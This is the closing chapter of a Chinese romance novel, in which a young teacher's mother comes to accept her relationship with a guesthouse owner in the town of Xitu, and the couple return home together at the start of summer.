其实她早妥协了,姜如锋在家里做完思想工作轮到大女儿,大女儿做完小女儿接着做,过年时小女儿的男朋友也私下来找他们见过一次面,给了很坚决的保证,她不是什么铜墙铁壁,闺女高兴比什么都重要,内心已经有所松动了,这次来也是想“实地考察”一下,结果她话还没说几句,人就开始哭。 什么时候惯出这种三棍子闷不出一个屁只会哭的驴脾气的?以前不这样啊。 上次任欣然过来说的话是给他们的第一道考验,如果他们连第一道坎都过不去,那趁早分,对谁都好。她不相信她闺女能接受异地恋,但目前看来,姜至比她想象中要坚强。 任丽娟在西途待了几天,偶尔在姜至上课的时候去观摩观摩小姜老师,她的语文课很有意思,板书设计的很漂亮,讲古诗会画山川湖海,讲生字会画小动物,再枯燥的拼音也能变着花样讲,校长和学生都夸她。 不观摩小姜老师的时候,就由小李老板带他们逛西途。 回清潭之前,任丽娟还说:“西途挺适合养老。” 姜至讶然一怔,转而就喜上眉梢,“是吧!这个地方很好!一方水土养一方人,你看我皮肤是不是嫩了很多?妈妈我发现你也年轻了几岁哦。” 她迅速在任丽娟脸上亲了口,被推开,“起开!一股化妆品味。” “爸爸,你笑的时候眼角都没皱纹了!” 姜如锋笑哈哈:“是吧!我就喜欢跟年轻人在一块!” 李惟钧在驾驶座上笑。 送完父母,两个人启程回盛夏将至。 五月份的西途气温开始热了,虽然温差很大,但正午时分热到可以穿短袖,五一假期还没过完,到处都是来旅游的人。 “要不要也去玩一圈?”李惟钧问。 姜至摇头:“不,我们回盛夏将至。” 春天拍下的盛夏将至已经被洗了出来,照片还在她包里等着被贴上,2019年的夏天快要到了,她要留下盛夏将至每一年的春夏秋冬。 手机上,住房订单一茬接一茬,根本回不过来。如今的盛夏将至已经今时不同往日,一年更比一年强。 姜至突然刷到一条推送,心下有点感慨,一年过去了,怎么还能刷到它呢? 她想起去年冬天的那个晚上。如果不是这条推送,她不会来到盛夏将至,是李惟钧长久以来积攒起的善良让她找到了他,她爱上了一个本身就很好的人。 “你还记不记得我来西途那天?”她问李惟钧。 “那天是2018年的情人节。” “原来这么巧啊,”姜至感叹,“我们注定会是情人。” 他纠正:“是在情人节遇见的爱人。” 姜至扑哧笑出来,把手机递给他:“李师傅!到这里,盛夏将至。” 页面停留在住客夸他的评论区,都夸老板人特别好,细心周到,长得很帅,有条评论配了张背影图,看着身形高大挺阔,典型的衣服架子身材。 李惟钧拍了下大腿,配合道:“嗨!这地儿啊,我知道!” “挺有名的哈?” “当然,老板娘贼好!” 她挑眉:“怎么个好法?” “漂亮,温柔,豪爽,洒脱,优点数不完,但是吧,有时候就爱跟老板发点小脾气。” “嗯?” “啊,说错了,应该是爱跟老板撒娇。” 到地方了,车停在道路尽头的两层小楼前,大门口右边挂着招牌:“盛夏将至”,粉紫色的蔷薇花从墙头蔓延下来,在微风吹拂下,装点着属于他们的屋子。 “到了,您拿好东西慢走下车。” “我怎么转车费呢?” 李惟钧眸光闪熠,搂着她的后脑勺,忍不住低头,“看你长得像老板娘,印个章算了。” 姜至的手搭在他的肩上,闭上眼迎着他的吻。 很短暂一下,两个人出戏很快,下了车并肩走在小院里,地上折射出一高一低两道影子。 遮阳伞下,姜至跟李惟钧抱怨,“紫外线好强啊,我的手和胳膊都不是一个颜色了,看来以后出门得往手上抹点防晒。” 李惟钧说:“热也别脱外套,捂着点儿吧,一会儿进屋就不热了,昼夜温差大。” 姜至搂住他的手臂:“不冷啊!夏天都快来了!” 李惟钧带着明晃晃的笑意说:“夏天已经来了。” 没错,盛夏已至。 每一个有你的日子,都是艳阳高照的夏天。 -正文完- 2025.04.26